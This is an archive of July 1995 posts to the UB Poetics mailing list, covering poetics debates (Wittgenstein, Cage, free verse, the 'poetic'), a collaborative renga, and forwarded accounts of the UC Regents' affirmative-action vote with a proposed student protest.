> *Poetry has been "demystified" for you so it no longer exists?*
>
> *Well, I never thought I'd find myself quoting Dylan Thomas but:*

>"The tricks are easy to learn, it's the art that's difficult."
(or words to that effect).

Can't say as I see how calling it "art" clarifys. & it's true, I hope, that the longer you write the more you learn, but I'm with B.K. in that the "poetic" is not finally defineable. You know it when you see it, & who sees it where is different, I think, for different people. --Rod

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641. **Rod Smith**
Re: George and Ludwig (fwd)
Wed 26 Jul 1995

Thanks for the great feedback Gabrielle. I'm not stuck on the position I presented (or maybe I am) but for the sake of the network of standard stoppages I'll spin out a "defense."

Key to the differences we might have I think is this passage:
I wrote:
>. . .Which points to possibilities, that the ideas are already
> extant, within language, within contexts. . .

You responded:
 >This, to me, gets dangerous again--as though the ideas like >things exist somehow within language but independent of it. Back to the >private >image and solipsism.

I don't see how what I wrote cld be construed as taking a position which implied the formulation "within language but somehow independent of it." What I wrote seems to me to be saying pretty much what the Hejinian quote I cited is saying. Which is precisely that ideas are not private (subjective), but rather contextual (intersubjective), in ways we don't entirely understand-- thus the "in the air" formulation. A more accurate formulation is probably not possible because no context is _ultimately_ defineable, because all contexts are interrelated. This is a bit of Buddhist propaganda, but it seems to me useful. (I'm not arguing that there's never enough information in a given situation to act, merely that there are always more elements which could be taken into account). To boil it down perhaps what I'm saying is that every idea is an interaction. That the "heart of an idea" is not locatable "except in its use"!

> It only gets tricky if one
>starts taking the metaphor seriously and concretizing it and
using it to
>explain the world.

It seems to me the viability of this articulation is only apparent precisely when it is concretized. A good example of this is Cage's process in his later writings such as _Themes & Variations_ , _I-VI_, & "Art Is Either A Complaint Or Do Something Else." In this series he tried, & I think he often succeeded, "to find a way of writing which though coming from ideas is not about them; or is not about ideas but produces them." The manner in which he did this is outlined in the introduction to _I-VI_ and in the interview w/ Joan Retallack in _Aerial 6/7_, among other places. Briefly, it involved subjecting a source text (or texts) to chance operations which then presented him with a mix of source materials in which he then searched for ideas, eliminating materials which allowed them to emerge. These were not necessarily semantic "ideas" but could as well be "musical"-- i.e. related to the sound and texture, the movement of language, as well as to the making of statements, obviously they are always in some sense both of these.

Though one need not cite Cage to illustrate my point. Ashbery's "floating pronouns" in a poem like "These Lacustrine Cities," or Mallarme's famous "All

Thought emits a Throw of the Dice" ("Tout Pensee emet un Coup de Des") can't figure how to get diactical markings on this new keyboard)), relate to what I'm saying. More recently Carla Harryman's "Toy Boats" in _Poetics Journal 5_ seems to me an excellent articulation of the ways of thinking about these issues I'm forwarding. She writes: "I am an indication of what occurs around me." & also, beautifully, "Both belief and denial throw existence into question." She ends the piece with the following paragraph: "A structure for writing that comes from anticipation relative to an elsewhere, which to become a somewhere-- i.e., a writing --must borrow from the things of this world in their partiality."

So, that's what I think right now. To respond to a few other points-- I suspect that the idea of a schism in Wittgenstein's thought is based partially in the events of his life, & I don't think that's an entirely bogus point of view. In retrospect we can see the seeds of the late thought in the early but there does seem an openness to a less proscriptive investigation in the later work I think. It seems to me in the _Tractatus_ that he, like Pound for so long, wanted to make it cohere.

Also you wrote:
> Look at how people make theories out of their
feelings, then concretize the theories and make the world fit >their
feelings.

It's become a bit of a cliche to say, but I'm not sure in the end we can distinguish between emotion & intellect. That perhaps an oversimplification, and if I were a scientist I might not say that. However, I was reading in Alan Ryan's biography of Dewey last night-- Dewey argued that "what scientists do when they try to understand the world is not very different from what any of us do when we try to decide what to do or think"-- this _feels_ right to me. (Dewey eschewed both violent revolution & acceptance of the status quo in favor of the slogan "Intelligent Action!" & although tagged "pragmatist" prefered the term "experimentalism" -- i.e. find out what works and do that. Chomsky went to a Deweyite school in Philadelphia til the age of 12.)

& finally (I didn't expect this to be such a long post, geeze, now I have to keep myself from writing another lengthy response to a, to me, seriously reductive comparison of Zorn & Cage by Kevin McNeilly which appears in the Jan. _Postmodern Culture_-- don't nobody tell Bruce how much time I'm spending on here, I'm supposed to be working on the Andrews issue of Aerial, it's our little secret, please) Gabrielle wrote:
>We speak in wonderful metaphors (I'm getting pictures of ideas like
>puppies waiting for an owner to come home).

I'm exactly arguing that ideas don't have "owners," but we come home to them whether we want to or not. Art's part of what makes us aware of when they're around. & some may be puppies, some grown-up, some old, some dead dogs--mutts, chihuahuas, pit bulls, lassies, Snoopys & Goofys (Baudrillard?) &, of course, east german shepherds. ggrrrrawwlrrrruff! ruff! ruff! --Rod

↑ Index

642. **Herb Levy**
Re: pseudononomous newbie
Wed 26 Jul 1995

George Bowering just commented the other day about pop star-poets & now here's Nanker Phlege on board.

Hi, Nanker. I'd always thought your last name was spelled Phelge, but then, you would know.

Herb Levy
[redacted]

↑ Index

643. **Nanker Phlege**
Re: pseudononomous newbie
Wed 26 Jul 1995

---

yes, the name has been changed to protect the innocent from copywrite issues.

↑ Index

644. **H. T. KIRBY-SMITH**
ON THE CONTRARY
Wed 26 Jul 1995

I think that I was advised in THE IDIOT'S GUIDE TO THE INTERNET never to say anything ironic by e-mail.

Once Douglas Bush, lecturing at Harvard, made reference to the discovery of Wordsorth's illegitimate child and remarked drily, that "This discovery has done much to enhance his reputation in some quarters." A Boston Newspaper reported this as an example of the degeneracy of the academic profession. After that Bush advised, with some shade of irony, "Never be ironic!"

With ingenuous candor I would like to say that Marjorie Perloff is absolutely right about this business of free verse feet/rhythms. (On the subject of John Cage, though, I'd rather observe a few minutes of complete silence.)

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

645. **Burt Kimmelman**
Re: Free Verse Foot
Wed 26 Jul 1995

---

re: periodization: substitute contextual for historical.

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646. **Burt Kimmelman**
Re: Free Verse Foot
Wed 26 Jul 1995

Jonathan,

Nothing "tricky" or facile about my relationship to the non-existent poetry, but rather the opposite. Like marriage perhaps. Get past the romantic stuff and really get down to the "real" thing, which ends up being expressed in one or another finite ejaculation that stems out of profound doubt or whatever. Don't mean to go Buddhist of Bronk on you, but anyway, let me say that I believe in poetry, yet cannot ever say comprehensively what it is, and this is good because this means that I am now looking not at the poetry but at the human beings who make/have made it. I.e., when I contemplate poetry I am using it as a tool for learning about, for coming to know, the human experience.

Now I'm afraid I'm slipping back into the kind of pleasurable circular and double talk that I participated in with some others on this list not long ago about art etc., where to draw lines and so on.

Please don't take what I said, finally, as being either nihilistic or trite. Rather, I am sharing with you my deepest concerns. And I welcome responses to what I say because I am listening.

As Bronk once ended an early poem of his:

"I'd talk to you if I thought I could.
Tell me. What do you know?"

[qtd frm memory]

Burt

↑ Index

647. **Burt Kimmelman**
Re: Free Verse Foot
Wed 26 Jul 1995

Willa,

Cf. my last post to Jonathan. I did not say I did not believe in poetry. And yes, as you say, the mystery is the thing! Let me correct you on one point: theory has not spoiled poetry for me--it has deepened it for me. I am not afraid of knowledge (though I deplore jargon as much as the next gal or guy). My demystification came about from seeing so many "versions" of poetry that didn't conform to each other, in various times and places, that I had to conclude that poetry was culture specific. E.g, Beowulf's meter has what tto

do with with, say, Haiku (or even Renga!). Now, as for "the poetic"--here I think we can begin to talk consistently about a human experience that transcends particular culture, period, etc.

Burt

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648. **Chris Scheil**
Re: Renga 3
Wed 26 Jul 1995

On Wed, 26 Jul 1995, Ron Silliman wrote:

> >In the books were dreams and in the dreams were books
> That cooks would look to in the hope of
> many forms of soup comingled (miso-plum puree, chalk-salt

↑ Index

649. **Gabrielle Welford**
AA/student loan protest
Wed 26 Jul 1995

I thought that some of you in California might be interested in Jamie's intention to get a protest rolling about the Affirmative ACtion cut at Berkeley and all the other cuts that are or will be devastating students, welfare recipients and many others. I'm sure she'd appreciate word from anyone who'd like to get involved.

Gabrielle

From: [redacted]

A month or two ago (whenever it was) when I first heard about Republicans' prosed cuts in the student loan program, I could not believe it was real. I

couldn't think they would seriously cut a program so needed and long standing while proposing more tax cuts for the wealthy and while we still provide cooperations with billions of dollars to help them finance overseas advertising. I was sure there would be protests and that "they" would do something to stop this from happening.

Then last week when Wilson in a brash (I could use other adjectives, but I will refrain) political move eliminated all AA in the UC system despite protests from students, administration, and faculty, I deeply hoped that this would backfire on him, and again that "they" would protest and do something to make Wilson regret the day that he ever made such a rash move.

Then last night after composing my second post about our common enemy--the richest 1% who control 40% of the wealth--(I hope I didn't wax too melodramatic in my sleep deprived state), I began to wonder who this mystery "they" that was going to stop Wilson and the Republicans on these two issues was. Regardless of how any of you feel about AA, the student loans cut if they go through we end up costing all of us in a very direct way--$1000s or $10,000s, and I know that most, if not all of us, are already broke and deeply in debt. If we, including myself, keep waiting around for "them" to do something, we may be waiting for the rest of our lives and end up in debtors' prision (since this now seems a very reasonable next move for the Republicans).

It was then that I got my idea of organizing a protest march on Sacramento, protesting these two issues. I envisioned this protest occurring on the second weekend after Fall semester begins on the UC campuses (could someone attending a UC tell me when this would be?). This would give undergraduates time to return to campus and get involved. In my mind, this grew into a tremendous protest by getting, in addition to students, groups such as NOW, the League of Women Voters, Jesse Jackson and his group, the Mexican American Legal Defense league, Senators Boxer and Feinstein, etc., involved and acting as co-sponsors of the protest. I envisioned simulateous, although smaller, protests occuring in other states. In my sleep deprived state, this grew into the largest student protest since the 60s.

So tell me have I come up with a brilliant idea, if slightly exaggerated idea, or do I need to go back to bed and get some more sleep? I can't do this alone. If you believe that it is a good idea and that it could work, would you be willing to help, or do you have advice as to how we should go about organizing such a thing? If I go ahead on this, Erik or any other Counsel representative, would the Graduate Student Caucus give its official support, meaning allowing us to use its name to give us creditability when contacting other groups? I really think that there is enough angry out there to mobilize people if someone would start the ball rolling.

I'm leaving town tomorrow to attend a Conference in Mississippi and will be gone for about a week. I look forward (I think) to hearing your responses on this matter when I get back. You can send your responses to my personal email if you want since I'm not sure we should be taking up any more space on the list.

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650. **Gabrielle Welford**

UC Berkeley Regents Meeting - warning LONG (fwd)

Wed 26 Jul 1995

I thought the political among us would be interested in this close-up of the Regents' meeting at Berkeley. Gabrielle

> *FYI...some notes on last week's Regents meeting from Charles Schwartz,*
> *UC Berkeley Professor Emeritus and Activist.*
>
> *\Regards,*
> *Alan Inouye*

> July 25, 1995
>
> Governor Pete Wilson scored a major political victory
>for his Presidential campaign when he lined up his friends on
>the UC Board of Regents last week to trash the University's
>affirmative action programs. What will the consequences be?
>
> Here is a collection of statements made at the Regents
>meeting on July 20-21,1995, which should be of special interest
>to UC faculty members. They go beyond the particular issue of
>affirmative action and point out more fundamental challenges to
>the University. At the end I have posed some questions for my
>colleagues to ponder.
>
> ***** PLEASE RE-CIRCULATE THIS WIDELY *****
>_____
>_____
>
> During the public comment period of the Regents meeting on
>Thursday, a number of speakers recited the following statement
>of principle, which is contained in Article IX Section 9 of the

>Constitution of the State of California:
>
>"The University shall be entirely independent of all political
>or sectarian influence and kept free therefrom in the appoint-
>ment of its regents and in the administration of its affairs"
>_____
>
>DEAN HAILE DEBAS: "Governor Wilson, President Peltason, Regents,
>Ladies and Gentlemen, thank you very much for the privilege of
>addressing you today. I am dean of the School of Medicine at
>the University of California, San Francisco, but I have been
>associated with UC since the early 1970s. The University of
>California is an institution that I have come to love and
>greatly admire. I am, therefore, greatly saddened that what
>should be a solemn and deliberative meeting, the outcome of
>which will have far reaching effects, has been hijacked by
>political ambition and obscure personal agendas.
>
> "The debate on affirmative action raises two important
>philosophical issues: 1) Does the public underwrite higher
>education to benefit the individual or society? 2) In an
>academic institution, what body or bodies appropriately
>determine academic policy?
>
> "While watching CBS's Face the Nation last Sunday, I heard
>Governor Wilson state that admission to the University of
>California is based not on merit, but on race and gender. As a
>UC dean, I feel compelled to respond to that extraordinary
>statement.
>
> "The admissions policy at UCSF is not politically
>motivated. It has been very carefully developed, debated,
>modified and improved over the span of 30 years. An applicant's
>race or ethnicity, as well as socioeconomic status regardless of
>race, are considered during the second screening of our eight-
>step admissions process. This information is used to evaluate
>the hardships a student has had to overcome to achieve his or
>her grade point average and MCAT score. We have no quotas or
>set-asides. A process such as this is the only way to
>effectively combat the inherent disadvantage of belonging to
>certain racial or socio-economic groups in American society.
>

> "Our admission system has enabled us to achieve diversity
>and national academic preeminence. One might ask, But can you
>show that your affirmative action program directly benefits the
>diverse population of California? The answer is unequivocally
>YES!
>
> "A recent UCSF study conclusively confirmed what we have
>long suspected: that African-American and Hispanic physicians
>return to serve their respective communities, the very
>communities that need more doctors!
>
> "Hence, if you, the Regents of the University of
>California, believe that the public underwrites higher education
>to benefit society, you cannot close your eyes to these
>compelling findings. These accomplishments would not have been
>possible without affirmative action. If you dismantle
>affirmative action, you are denying the nation the healing
>opportunity to reject the injustice of race and class
>discrimination.
>
> "Now, let me be personal and take a look at my own career.
>I have often examined and rejected that my success was due to
>special considerations I might have received because I am Black.
>Like some other successful minorities, I have wanted the world
>to know that my success represents a personal triumph.
>
> "However, it would be both disingenuous and self-serving if
>I failed to recognize, and publicly acknowledge, that without
>the environment created by Affirmative Action, the doors would
>have been closed to me.
>
> "And now for my final comments: 1) If you vote to dismantle
>affirmative action, you are doing so in defiance and in utter
>disregard, of the entire University: in defiance of its
>president, of all its vice presidents, of all its chancellors,
>of the academic faculty senates of all nine campuses, of the
>systemwide academic council, and of the student leadership.
>2) It would be an outrage if thirteen or fourteen regents,
>acting alone, destroyed an historic instrument of social
>progress in a moment of political frenzy.
>
> "At the very least, you should table the proposal until

>you have adequately considered the individuals and communities
>you will harm, and until you can examine it with the thought
>and deliberation it deserves. Thank you!"
>_____
>   -- Thursday evening, Regents' debate --
>
>REGENT JOHN DAVIES (a close personal friend and political ally
>of Governor Wilson): "I would like to go back and somehow
>describe if I can the agonizing process we have all gone
>through here as regents to arrive at this point. This is not a
>recent political phenomenon. This subject started to percolate
>over a year ago when a couple at San Diego complained about
>their son being refused admission to the medical school in San
>Diego. And that led to studies at the request of regents and
>presentations beginning in November. All that time, as I
>recall, there was no Presidential campaign going on. That's
>just a false charge. This item ...   [noise from audience]
>
>   "I listened to you for six and a half hours; give me my
>five minutes. We then had presentations throughout the first
>six months of this year on various aspects of the subject of
>affirmative action. ... This has been a very difficult process.
>What I have learned from that process is that we use race in an
>impermissible way in governing admissions and contracting and
>hiring. The proof of it is a statement made here in response
>to Regent Carmona's question, What would be the effect at
>Berkeley of eliminating race as a factor in admissions? It
>would take admissions [of African-American freshman] from 207 to
>44. And if that isn't a significant factor, I don't know what
>is. That's a dominant factor.
>
>   "I agree with Regent Leach's analysis. We are not talking
>about doing away with affirmative action. Everybody on this
>Board supports affirmative action. [noise from audience]
>
>   "We support the goal of achieving diversity. We realize
>the necessity of having diversity on the campuses. The people
>of this state have to feel that they are all a part, they have
>to buy into a system that is healthy for everybody. We cannot
>exist without doing that. The question is whether this is the
>right tool to use. My opinion is that we have learned that this
>tool does more harm than good.   Now I am determined to find a

>different way. And I think Regent Connerly's proposal directs
>the Academic Senate to develop supplemental factors that could
>be used, excluding race, to get us a diverse student body that
>we should have. And if they can't come up with something that
>will achieve that diversity, then we need new faculty. That
>should not be that difficult. [noise from audience]
>
>   "I am not talking about just economic factors, the whole
>list of supplemental factors and it would include all the
>disadvantages we heard spoken to this morning so eloquently by
>people who have suffered from them. Those factors should be
>considered, those are obstacles that are overcome, those
>should help people be admitted into the University. But that
>doesn't mean it is morally right to award places in the
>University on the basis of race. I agree with Regent Leach in
>that respect. So I support both of Regent Connerly's proposals."
>
>_____
>   -- Friday morning, public comment period --
>
>REGENT ROY BROPHY: "Thank you, Mr. Chairman. I am speaking on
>Ed Policy 305, which is Shared Governance. That permits me to
>say what I intend to say and that is: If there ever was a
>violation of shared governance it occurred during the
>affirmative action vote yesterday. I am not going to talk about
>how the votes came about, I am not going to talk about
>affirmative action. ... Your Board managed to circumvent the
>president. Your board managed to circumvent the chancellors,
>and also to circumvent the faculty and you managed to circumvent
>the students. I would say staff too, I am sure they were
>circumvented somewhere along the line, also it is going to
>affect them.
>
>   "But, it bothers me, not that we passed the thing, not
>because of what we voted on, not really because of the political
>pressure that was involved in the vote. But what bothers me
>more than anything else is for us to circumvent the best people
>we have, ...those are the Chancellors. That was so unfortunate,
>and the president and the faculty and the students. But I only
>hope in the future that we can keep it in mind that if we are
>going to do something like this let's not have a quick vote and
>shake hands and go home. We must plan for the future, in the

>future, that everyone is involved in the process ..."
>
>_____
>
>PROFESSOR CHARLES SCHWARTZ: "Two items related to your agenda.
>The first one is 507 on the Finance Committee: Budget Plan ...
>
>   "In connection with budget problems, yesterday's action
>raises serious budget issue that I think has not been called to
>your attention. An essential part of Connerly's proposal to
>change admissions policy involves the redirection and
>improvement and enlargement of academic outreach programs to K
>through twelve. This is the essential feature of the program
>you voted in to get rid of race-based stuff and bring in
>improved academic outreach. And I ask the very simple question,
>What is that program going to cost? I believe it was
>irresponsible of Mr. Connerly to bring that proposal to the
>Board without a cost estimate. In that document, "
>
>REGENT JOHN DAVIES: "Point of order, Mr. Chairman, which item
>does this discussion relate to?"
>
>REGENT CLAIR BURGENER (Chair): "Professor, which item on our
>agenda today do your comments ..."
>
>SCHWARTZ: "This has to do with general budget planning."
>
>DAVIES: "I don't think there is any such item."
>
>SCHWARTZ: "507"
>
>DAVIES: "That is not a general budget item."
>
>SCHWARTZ: "It is integrally related to budget planning. 507 is
>about cuts in next year's budget and among other things, they
>are going to be a lot worse to deal with if you were truthful
>and honest in the commitment this Board made, not just to try
>and improve academic outreach, but in Connerly's words to
>achieve effectively the increased UC eligibility of Latinos,
>Blacks and other underrepresented groups throughout the country.
>It was irresponsible of this Board not to ask for a cost
>estimate before you voted for that. It is not going to be a

>problem solved by throwing a couple of more million into the
>outreach program. It is an enormously expensive job of social
>engineering that you have committed yourselves to. And a very
>practical question, Who is going to pay for that? Thank you,
>on that topic."
>
>[Some dispute about time for further comments]
>
>SCHWARTZ: "I do thank you for that [additional 3 minutes]. It
>will be on the implications of what you did yesterday in a
>broader context. I am not going to argue the pros and cons of
>affirmative action but what you did yesterday and its
>implications for the University. A couple of the speakers
>yesterday spoke to that question, most particularly Professor
>Simmons and Dean Debas. I think you have no idea of the short
>term and long term implications of the politicization that came
>to this Board yesterday. [further objections are heard]
>
>   "Mr. Davies will leave. He doesn't care to hear this.
>This fundamental question of the independence, the political
>independence of the university: What are and will be the
>consequences?   I don't know yet what the faculty at large
>thinks, will think about this. But I am very frightened that
>there will be - regardless of how many times people here say it
>was not politics, it was some other issue - the impression
>among many of the faculty at the University and faculty in the
>national academic community, that this Board has violated its
>obligation to protect the university from politics and has
>railroaded in a most divisive political issue into the
>University. And what enormous harm this can do.
>
>   "I think we are going to have to address that issue. You
>can not turn away from it. It will last for a long time. I
>suggest, among other things, you review the history of the
>Loyalty Oath in the fifties. Very interesting parallels; and
>the great damage that was done by an overzealous Board of
>Regents responding on high moral grounds to a strong popular
>public issue.
>
>   "It's worse than that. I think Regent Brophy was talking
>about this: ... the very clear fracture within the Board; and
>the very clear fracture between the Board and its appointed

>administrative and faculty representatives. That is a very
>serious issue whose repercussions are enormous.
>
>   "Now, I know that Mr. Brophy [who chairs the Regents
>presidential search committee] has problems in getting a
>president that must be overwhelming. You may have one
>perspective on it, but think about the perspective of faculty
>people. What self-respecting college president would take this
>job when he knows he's got a Board of Regents that is likely to
>come ramming in with God-knows-what political issue next week?
>But of course, you will find someone to be president. And what
>will the faculty think of that someone? A political tool of the
>Regents and whatever political clique happens to be in the
>majority of the Board. That is not a very healthy way in which
>to maintain a great university.
>
>   "And it's worse than that. Because what also came out
>clearly yesterday was that members of the Board, at least some
>of them, believe that the administrators lie to them, conceal
>facts, and are unwilling to sit down and discuss issues
>seriously. That is an issue in which I have had personal
>experience. And you are right. But how can you run a university
>with such fractures in it? [the gavel is heard]
>
>   "I have suggestions, but I've run out of time. Thank you."
>
>_____
>_____
>
>   Above and beyond the debate over affirmative action, we
>see an ancient question now thrust before the faculty of the
>University of California: QUIS CUSTODIET IPSOS CUSTODES?
>(who shall keep the keepers themselves?)
>
>   The primary responsibility of the Regents is to keep the
>University "entirely independent of all political or sectarian
>influence"; but they themselves have now become the trespassers.
>Who but the faculty, acting together, can mount the effort
>necessary to restore the principle of academic independence, for
>the benefit of this university and for others as well? And if
>we fail to do this, what consequences can we expect?
>

> I invite your responses to this challenge.
>
>
>Charles Schwartz [redacted]
>Physics Department, UCB 510/[redacted]
>Berkeley, CA 94720
>
>
>
>
--
Joe Aimone
Department of English
University of California, Davis
[redacted]

↑ Index

651. **Aldon L. Nielsen**
Re: Herb to George
Wed 26 Jul 1995

Now that's an odd question to these ears. Jazz musicians who wrote and published poetry include Oliver Lake, Sun Ra, Cecil Taylor, Joseph Jarman, and even , now and then, Dewey Redman. Don't know if son Joshua has had a try at verse yet.

But then, the question was prbably meant to be ironic, no?

maybe Dewey didn't actually write the poem I once heard him recite, though.

& eliot wouldn't know a saxophone from a telephone. not his instrument --

↑ Index

652. **Rod Smith**
Re: Renga1
Thu 27 Jul 1995

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
>Solemn air and sabbath retrograde
Why: these dots in the race when dreamt, did birds

↑ Index

653. **Steve Carll**
the feminine
Thu 27 Jul 1995

> *"It may*
> *seem like a betrayal of the few courageous women who are our clear*
> *'feminist' ancestors . . . to acknowledge a 'feminine' tradition*
> *dominated by males. But it is far worse to deny the presence of the*
> *feminine in language (as Ostriker and others do) by missing the fact that*
> *the feminine has never been exclusively 'embodied' in female writers."*
> *The essay can be found in FEMINIST MEASURES, edited by Lynn Keller and*
> *Cristanne Miller (U of Michigan Press). There are problems with the*
> *argument--why still call this move "feminine"?--but it is a marvelous*
> *antidote to Ostriker et al's essentialism.*

Hi Susan--

Just out of curiosity, what would you suggest as an alternative to "feminine", assuming as I am that the term "feminine" has instead here been dislocated from "femaleness" to suggest a set of attributes possessed by both men and women? Or is this a misreading?

Steve

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654. **Ron Silliman**
Huey, Dewey, Louis
Thu 27 Jul 1995

Of course in George's original list of Lewis, Redman and Zukofsky, he neglected to mention that Huey Lewis is the stepson of Lew Welch!

↑ Index

655. **Willa Jarnagin**
Re: Free Verse Foot
Thu 27 Jul 1995

> *Cf. my last post to Jonathan. I did not say I did not believe in poetry. And*
> *yes, as you say, the mystery is the thing! Let me correct you on one point:*
> *theory has not spoiled poetry for me--it has deepened it for me. I am not*
> *afraid of knowledge (though I deplore jargon as much as the next gal or guy).*
> *My demystification came about from seeing so many "versions" of poetry that*
> *didn't conform to each other, in various times and places, that I had to*
> *conclude that poetry was culture specific. E.g, Beowulf's meter has what tto*
> *do with with, say, Haiku (or even Renga!). Now, as for "the poetic"--here*
> *I think we can begin to talk consistently about a human experience that*
> *transcends particular culture, period, etc.*

> *Burt*

Burt,

I was responding to your phrase "there is no such thing as poetry." But I'm glad you DO believe in poetry afterall. I don't think that knowledge can destroy anything, nevermind poetry. Theory is just another tool, another language, and I don't even think "jargon" is so bad; it's just words we invent to use among ourselves. I guess people are wary of jargon because it might seem to exclude those outside the 'circle'. But all circles of people, sub-cultures, whatever you want to call them, make up their own words to use among themselves. My sister and her husband and their two-year-old daughter have their own language.

You're saying that poetry is culture-specific, but the poetic transcends cultural differences? That's an interesting thought. (Is this where your disdain for jargon comes from? Jargon is hyper-culture-specific, and therefore limits the poetic?) But it seems that FORMS of poetry, rather than simply the whole entity of a POEM, is what is culture-specific. Yes, Beowolf's meter has little in common with Haiku, but the emotional content of two such different kinds of poems might be the same.

What do you think?

Willa J.

↑ Index

656. **Jorge Guitart**
Re: Renga1
Thu 27 Jul 1995

On Thu, 27 Jul 1995, Rod Smith wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *Solemn air and sabbath retrograde*
> *Why: these dots in the race when dreamt, did birds*
> *in flew inverted sabbath race in whistle window retrograde*

↑ Index

657. **Chris Stroffolino**
Re: Herb to George
Thu 27 Jul 1995

---

or Thomas to Frank (not Waldo, not Dylan, much less Zimmerman, or Lyden or Rotten in Denmark--a live album (not jazz tho improving--Eliotic)

(BUdakon--Buddha--con--like the Naropa Catalogue's misappropriation of Shakespeare's "One touch of nature makes the whole world kin" (a little less than kind) with a little leaf, as if PIPING his wood notes wilde)

Anyway--A.L. writes
"and eliot wouldn't know a saxophone from a telephone"
and that's the one frank didn't reach for to right a poem, right?
cs.

↑ Index

658. Loss Glazier
Chronicle
Thu 27 Jul 1995

Just thought I'd mention that the Buffalo Poetics Program got a great writeup in _The Chronicle of Higher Education_ article, "Bridging A Divide Between Poetry And Criticism" on page A12 of the 7/28 issue. Well worth looking at! --Loss

↑ Index

659. Chris Stroffolino
beowulf (willa jargon)
Thu 27 Jul 1995

Willa raises a good point when she asks is it possible that the emotional content of Beowulf and "Haiku" might possibly be the same-- I've been thinking about the "two poles" of the British poetic tradition--that the two pieces often AT THE BEGINNING of most anthologies are Caedmon's Hymn and Beowulf--and though the story behind Caedmon's hymn is more interesting than the hymn itself (bear with me if i sad this before--it's kinda a schtick), the difference between the "lyric" and the "epic" sensibility in these two pieces that we see still I suppose exists today--- One could say that if Caedmon were a character in Beowulf he would actually be GRENDEL (if not Grendel's mother)--I think this notion of the "sensitive" lyric outsider running away from society vs. the "representative man" in Beowulf is quite emotionally distinct--- Yet,they are both potentially MALE COMPENSATORY fantasies--and perhaps the "difference" between Dickinson and Whitman is a better paradigm if I'd like to stress the emotional difference between "epic" and "lyric"--for while Caedmon wanted to see "God as a roof" Dickinson wanted the top of her head blown off and thus provides a better Anti-Beowulf strategy (if that's what you're looking for) ---well, enough for now--I've probably already said too much.... Chris S.

↑ Index

660. Steven Howard Shoemaker
renga worms
Thu 27 Jul 1995

Joe Zitt writes:

"I don't know if this is a common thing in renga wrangling, but I'm interested in following up on what has started with the multiple second lines being offered -- perhaps we could set up an ongoing hypertext, branching off as the writing does so.

(Pardon if this is a beentheredonethat -- I am but a poor wagon driver and unstudied in the ways of these lands B-].)"

Yeah, it looks up this renga things opens up a whole can of hypertextual worms. I didn't think about that when I proposed it, but i guess thats a what-i-take-to-be-pretty-cool effect of transposing the form to cyberspace. But i guess if people just respond to whatever branching they like, and post their additions, the "thing" will/could unfold naturally in ever-branching hyper-dendritic form.

Also: Charles Alexander, i think, points out that i started w/ a sentence and asks if that's usual. Well, i really don't know, but i guess you can do it however you like. The Yasusada, or make that "Yasusada," selections in FI are in sentence form, so i took them as a model. But i notice that in at least one of Ron Silliman's contributions, he removed the period from my first sentence, thereby starting a more stichic branching--which seems like a good idea too.

Somebody else--I think Rod Smith--asked about/proposed a rationale of maximal disjunction between lines. Again, at the risk of belaboring the point, this seems like a good idea for a particular branching....

In any event, i hope people will keep posting, 'cause i'd like to see what turns up...

steve

↑ Index

661. Jordan Davis.
Re: Renga1
Thu 27 Jul 1995

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *Solemn air and sabbath retrograde*
> *Why: these dots in the race when dreamt, did birds*
> *in flew inverted sabbath race in whistle window retrograde*
> *We are feeling very good indeed among the lumber*

↑ Index

662. **Jordan Davis.**
Re: Renga 1
Thu 27 Jul 1995

New renga rule: every fourth line must include the word "cloud"

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
 First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud

↑ Index

663. **Maria Damon**
Re: Free Verse Foot
Thu 27 Jul 1995

---

willa j writes:
.. You're saying that poetry is culture-specific, but the poetic transcends
> cultural differences? That's an interesting thought.

yes indeed. could anyone say more? not so much about the first half, but the second. what is "the (transcultural) poetic"? a heightened sense of verbal "power," in whatever (aesthetic, medicinal, social etc) sense ? a frame of mind (as in,"bob kaufman was a poet 24 hrs a day, 365 days a yr", without writing a word for 10 yrs, etc)?--md

↑ Index

664. **Jordan Davis.**
rereading
Thu 27 Jul 1995

As a sort of corollary to Kenny Goldsmith's vanity fair question--what books are on your bedside table (which I just saw for the first time and am I embarrassed!)--I'd like to ask the list what books people are re-reading. I just went back to:

Differences for Four Hands by Rosmarie Waldrop
L'Archiviste by Laura Moriarty
Fermina Marquez by Valery Larbaud

This was a thought provoked to speech by Juan Goytisolo's mildly vehement piece on rereading in the _50_ anthology from S&M.

Curious,
Jordan

↑ Index

665. **Burt Kimmelman**
Encyclopedia of Jewish American poets and Playwrights
Thu 27 Jul 1995

Sorry to all for talking publicly but maybe the following will be of general interest after all.

Maria Damon:

my backchannel messages to you keep getting kicked back to me. So:

The editor of the Encyclopedia of Jew.-Am. Poets and playwrights, who last
I heard was still looking for people to write entries, is
Joel Shatzky, Dept of English, SUNY Cortland, NY 13045.
e-mail: [redacted]

Hope this helps,

BK

↑ Index

666. **Maria Damon**
Re: Encyclopedia of Jewish American poets and Playwrights
Thu 27 Jul 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Sorry to all for talking publicly but maybe the following will be of general
> interest after all.
>
>
> Maria Damon:
>
> my backchannel messages to you keep getting kicked back to me. So:
>
> The editor of the Encyclopedia of Jew.-Am. Poets and playwrights, who last
> I heard was still looking for people to write entries, is
> Joel Shatzky, Dept of English, SUNY Cortland, NY 13045.
> e-mail: [redacted]
>
> Hope this helps,

>
> BK

yes, thanks much. --md

↑ Index

667. **Burt Kimmelman**
Re: Free Verse Foot
Thu 27 Jul 1995

Willa,

last first: I don't think that haiku and four stress alliterative OE verse carry the same emotional charges. why this is is a big exploration.

